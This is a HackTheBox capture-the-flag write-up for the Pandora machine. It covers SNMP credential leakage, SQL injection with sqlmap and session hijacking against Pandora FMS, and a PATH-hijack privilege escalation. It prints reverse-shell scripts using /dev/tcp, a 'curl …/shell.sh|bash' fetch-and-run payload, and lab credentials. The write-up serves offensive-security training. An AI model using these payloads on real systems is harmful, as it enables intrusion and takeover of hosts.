Pandora - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐⭐☆☆
• CTF-like: ⭐⭐⭐☆☆

Summary

Pandora is an easy-rated Linux machine that demonstrates the dangers of exposed management protocols and insecure service configurations. The attack chain begins with SNMP enumeration revealing cleartext credentials, progresses through port forwarding to access an internal Pandora FMS service, leverages SQL injection combined with remote code execution vulnerabilities to achieve lateral movement, and culminates in privilege escalation via PATH variable injection in a SUID binary. The machine teaches essential offensive techniques while highlighting real-world misconfigurations commonly found in production environments.

TL;DR: SNMP enum → creds for daniel → port forward to internal Pandora FMS → SQL injection + RCE → lateral move to matt → discover SUID binary → PATH hijacking → root access.

Reconnaissance

Port Scanning

# Initial TCP port scan
nmap -sC -sV -T4 -p- 10.10.11.136

# UDP port scan for service discovery
nmap -sU 10.10.11.136

TCP Results:

• Port 22/TCP (SSH): OpenSSH service running
• Port 80/TCP (HTTP): Apache web server hosting static website

UDP Results:

• Port 161/UDP (SNMP): Simple Network Management Protocol service exposed

Service Enumeration

Web Service (Port 80)

Initial enumeration of the HTTP service reveals a static webpage with no exploitable functionality or sensitive information disclosure.

SNMP Service (Port 161)

The SNMP service is configured with the default community string “public” and lacks proper access controls. Using snmpwalk, the service exposes system management variables including command execution logs.

# Enumerate SNMP service for management variables
snmpwalk -v 1 -c public 10.10.11.136

The SNMP walk reveals a critical finding: the system is performing host checks and exposing cleartext credentials in the process list:

credentials discovered:
  username: daniel
  password: HotelBabylon23

Vulnerability Assessment

Initial Foothold

Exploitation Path: SNMP to SSH Access

Step 1: Authenticate via SSH with discovered credentials

# SSH into the machine using SNMP-discovered credentials
ssh daniel@10.10.11.136
# Password: HotelBabylon23

Upon successful authentication, we gain shell access as user daniel. Immediate enumeration reveals:

# Check home directory and available files
ls -la /home/

# Discover user flag location (not readable by daniel)
cat /home/matt/user.txt  # Permission denied

Step 2: Identify internal Pandora FMS service

# Enumerate Apache virtual host configurations
cat /etc/apache2/sites-enabled/pandora.conf

The configuration reveals that Pandora FMS is being served internally on localhost:80 under the /pandora_console path. This is not directly accessible externally.

Step 3: Establish SSH Port Forwarding

To access the internal Pandora FMS service, we establish dynamic port forwarding via SSH:

# Create dynamic SOCKS5 proxy through SSH tunnel
ssh -D 9090 daniel@10.10.11.136

This creates a SOCKS5 proxy on 127.0.0.1:9090 that tunnels all traffic through the SSH connection.

Step 4: Configure Browser for Proxy Access

Using the FoxyProxy browser extension, configure the SOCKS5 proxy:

• Proxy Address: 127.0.0.1
• Proxy Port: 9090
• SOCKS Version: 5

Navigate to http://localhost/pandora_console/ to access the Pandora FMS login page. The page footer reveals the version: v7.0NG.742_FIX_PERL2020.

Privilege Escalation

Lateral Movement: SQL Injection to RCE

Step 1: Exploit SQL Injection in chart_generator.php

Research reveals CVE-affecting Pandora FMS v7.0 with an SQL injection vulnerability in /include/chart_generator.php. The vulnerability allows authentication bypass through the session_id parameter.

To route sqlmap traffic through the SOCKS proxy, we use proxychains:

# Configure proxychains to use our SSH tunnel
sudo nano /etc/proxychains4.conf

# Add the following to the [ProxyList] section:
# socks5   127.0.0.1 9090 daniel HotelBabylon23

Step 2: Enumerate database using sqlmap

# Identify the current database name
proxychains sqlmap --url="http://localhost/pandora_console/include/chart_generator.php?session_id=''" --current-db

# List all tables in the pandora database
proxychains sqlmap --url="http://localhost/pandora_console/include/chart_generator.php?session_id=''" -D pandora --tables

# Dump session tokens for valid users
proxychains sqlmap --url="http://localhost/pandora_console/include/chart_generator.php?session_id=''" -D pandora -T tsessions_php --dump

The tsessions_php table contains active session tokens. We identify a valid session_id for user matt:

Session ID: [extracted_from_database]
User: matt

Step 3: Session Hijacking

Visit the vulnerable endpoint with the extracted session_id:

http://localhost/pandora_console/include/chart_generator.php?session_id=[extracted_session_id]

Navigate to the Pandora FMS homepage and confirm authenticated access as user matt.

Step 4: Execute Remote Code via RCE Vulnerability

Research reveals an additional RCE vulnerability in the Events module. Using Burp Suite with SOCKS proxy configured:

1. Click “Events” in the sidebar to trigger the Events AJAX request
2. Capture the POST request to the events AJAX handler
3. Modify the target parameter with URL-encoded commands

Create a reverse shell script on the attacking machine:

# Create shell.sh on attacking machine
cat > shell.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.6/4444 0>&1
EOF

chmod +x shell.sh

# Start HTTP server to host the shell script
python3 -m http.server 80

Craft the RCE payload by modifying the Burp Suite POST request:

POST /pandora_console/include/events.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded

target=curl+10.10.14.6:80/shell.sh|bash

Start a netcat listener:

# Listen for reverse shell connection
nc -nvlp 4444

Send the modified request, and receive a reverse shell as user matt:

# You should receive a shell connection as user matt
whoami  # matt
id      # uid=1000(matt) gid=1000(matt) groups=1000(matt)

# Retrieve user flag
cat /home/matt/user.txt

Privilege Escalation: PATH Variable Injection

Step 1: Identify SUID Binary

# Find all SUID binaries on the system
find / -perm -4000 2>/dev/null

# Identify unusual SUID binary
ls -la /usr/bin/pandora_backup
# Output shows: -rwsr-xr-x 1 root root [size] [date] /usr/bin/pandora_backup

Step 2: Break Out of Restricted Shell

The initial reverse shell may be restricted. Use the at command via GTFOBins to break out:

# Escape restricted shell environment
echo "/bin/sh <$(tty) >$(tty) 2>$(tty)" | at now
tail -f /dev/null

Upgrade the shell to a full TTY:

# Spawn interactive bash shell
python -c "import pty;pty.spawn('/bin/bash')"

Step 3: Analyze the SUID Binary

Transfer the binary to your attacking machine for analysis:

# On attacking machine - start netcat listener
nc -nvlp 1234 > pandora_backup

# On remote machine - transfer the binary
nc 10.10.14.6 1234 < /usr/bin/pandora_backup

Extract strings from the binary:

# Extract printable strings to identify called binaries
strings pandora_backup | grep -E 'tar|gzip|backup'

The binary uses a relative path to invoke tar instead of an absolute path (/bin/tar):

tar -czf /root/pandora-backup.tar.gz /var/www/pandora

Step 4: Exploit PATH Variable Injection

Create a malicious tar script in a directory we control:

# Create malicious tar script in /tmp
cat > /tmp/tar << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.6/5555 0>&1
EOF

chmod +x /tmp/tar

# Prepend /tmp to PATH so our malicious tar is found first
export PATH=/tmp:$PATH

# Verify PATH modification
echo $PATH  # Should show /tmp at the beginning

Start a netcat listener for the root shell:

# On attacking machine
nc -nvlp 5555

Execute the SUID binary, which will search for tar in PATH and find our malicious version:

# Execute SUID binary with modified PATH
/usr/bin/pandora_backup

The binary runs with root privileges, executes our malicious /tmp/tar, and provides a root shell:

# Receive connection as root
whoami  # root
id      # uid=0(root) gid=0(root) groups=0(root)

# Retrieve root flag
cat /root/root.txt

Attack Chain Summary

SNMP Enumeration (Port 161)
        ↓
Discover Cleartext Credentials (daniel:HotelBabylon23)
        ↓
SSH Access as daniel
        ↓
Identify Internal Pandora FMS Service
        ↓
SSH Dynamic Port Forwarding (-D 9090)
        ↓
SQL Injection in chart_generator.php
        ↓
Extract Session Token for User matt
        ↓
Session Hijacking & Authentication Bypass
        ↓
RCE via Events Module AJAX Handler
        ↓
Reverse Shell as matt
        ↓
Discover SUID Binary: /usr/bin/pandora_backup
        ↓
Analyze Binary (strings reveals relative tar path)
        ↓
Create Malicious /tmp/tar Script
        ↓
Modify PATH Variable (prepend /tmp)
        ↓
Execute SUID Binary with Modified PATH
        ↓
Privilege Escalation to root
        ↓
Retrieve Root Flag

Tools Used

Key Learnings

Techniques Practiced

• SNMP Enumeration: Using snmpwalk with default community strings to extract sensitive management data and credentials
• SSH Dynamic Port Forwarding: Creating SOCKS proxies to tunnel traffic through SSH and access internal services
• SQL Injection Exploitation: Chaining sqlmap with proxychains to exploit SQLi vulnerabilities in proxied services
• Session Hijacking: Extracting and reusing valid session tokens to impersonate authenticated users
• Remote Code Execution: Exploiting AJAX handlers and URL encoding bypass techniques to achieve RCE
• Reverse Shell Techniques: Using curl piped to bash for flexible shell delivery across proxied networks
• SUID Binary Analysis: Using strings and find to identify vulnerable SUID binaries with absolute path issues
• PATH Variable Injection: Exploiting relative paths in binaries to achieve privilege escalation through PATH manipulation
• Restricted Shell Escape: Using at command to break out of restricted shell environments (GTFOBins)

Lessons Learned

1. SNMP is a critical exposure point - Default community strings and enabled SNMP services expose sensitive system information including credentials and process lists. Always disable or properly authenticate SNMP in production environments.

2. Relative paths in SUID binaries are dangerous - Binaries with SUID bit set should always use absolute paths. Relative path usage allows attackers to hijack PATH and gain arbitrary code execution with elevated privileges.

3. Internal services are not automatically secure - Services bound only to localhost are still exploitable if an attacker gains initial access. In-depth defense is essential even for “internal” services.

4. Session tokens must be properly validated - Extracting session tokens through SQL injection and reusing them for privilege escalation demonstrates that session management must include cryptographic validation, rate limiting, and secure storage.

5. Proxy-aware exploitation requires tool chaining - Modern networks use proxies and port forwarding. Tools like proxychains extend vulnerability scanning capabilities across network boundaries.

6. SQL injection remains high-impact - Even with modern frameworks, SQL injection vulnerabilities can lead to complete database compromise and authentication bypass when proper parameterization is absent.

7. Defense-in-depth prevents privilege escalation - Sandboxing, capability restrictions, and least-privilege enforcement can mitigate the impact of SUID binary vulnerabilities.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>